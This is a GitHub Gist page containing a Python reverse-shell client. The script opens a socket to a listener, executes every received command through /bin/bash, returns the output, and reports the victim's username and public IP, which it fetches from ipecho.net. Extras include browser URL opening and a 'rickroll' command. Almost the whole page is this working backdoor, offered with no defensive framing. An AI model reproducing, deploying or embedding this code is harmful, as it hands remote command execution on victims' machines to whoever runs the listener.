Created
September 12, 2018 20:32
-
-
Save UlisseMini/ee1edf4d4fde87725cf45f9562fee666 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import os | |
import socket | |
import subprocess | |
import sys | |
from webbrowser import open_new | |
from requests import get | |
# Create a socket | |
def socket_create(): | |
try: | |
global host | |
global port | |
global s | |
global shellnum | |
global ip | |
try: | |
ip = get('http://ipecho.net/plain').text | |
except: | |
print('Unable to fetch ip, setting it to 127.0.0.1 instead') | |
ip = '127.0.0.1' | |
host = '127.0.0.1' | |
shellnum = 1 | |
port = 3301 | |
s = socket.socket() | |
except socket.error as msg: | |
print("Socket creation error: \n" + str(msg)) | |
# Connect to a remote socket | |
def socket_connect(): | |
try: | |
global host | |
global port | |
global s | |
s.connect((host, port)) | |
except socket.error as msg: | |
print("Socket connection error: " + str(msg)) | |
# Receive commands from remote server and run on local machine | |
def receive_commands(): | |
global s | |
global shellnum | |
shell = create_shell() | |
s.sendall(shell.encode()) | |
while True: | |
shell = create_shell() | |
data = s.recv(1024) | |
data = data.decode() | |
data = data.strip() | |
if data[:2] == 'cd': | |
try: | |
os.chdir(data[3:]) | |
shell = create_shell() | |
s.sendall(shell.encode()) | |
except: | |
response = 'cd: '+data[3:]+': No such file or directory\n' | |
s.sendall(response.encode()+create_shell().encode()) | |
elif data == 'exit': | |
s.sendall('Goodbye\n'.encode()) | |
s.close() | |
sys.exit() | |
elif data.startswith('url'): | |
if data[4:].startswith('http://'): | |
open_new(data[4:]) | |
response = 'Opened '+data+'\n'+create_shell() | |
s.sendall(response.encode()) | |
elif data[4:].startswith('https://'): | |
open_new(data[4:]) | |
response = 'Opened '+data+'\n'+create_shell() | |
s.sendall(response.encode()) | |
data = 'http://'+data[4:] | |
open_new(data) | |
response = 'Opened '+data+'\n'+create_shell() | |
s.sendall(response.encode()) | |
elif data == 'shell': | |
if shellnum == 1: | |
shellnum = 2 | |
elif shellnum == 2: | |
shellnum = 1 | |
s.sendall(create_shell().encode()) | |
elif data == 'rickroll': | |
open_new('http://www.youtube.com/watch?v=dQw4w9WgXcQ') | |
response = 'Opened '+data+'\n'+create_shell() | |
s.sendall(response.encode()) | |
elif len(data) > 0: | |
cmd = subprocess.Popen('/bin/bash', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
out, err = cmd.communicate(data.encode()) | |
s.sendall(out+err+create_shell().encode()) | |
s.close() | |
# Shell creation function | |
def create_shell(): | |
global ip | |
user = subprocess.check_output('whoami') | |
user = user.decode() | |
user = user.strip() | |
if shellnum == 1: | |
shell = os.getcwd() + '> ' | |
elif shellnum == 2: | |
shell = user+'@'+ip+':~$ ' | |
else: | |
shell = '$ ' | |
return shell | |
def main(): | |
socket_create() | |
socket_connect() | |
receive_commands() | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment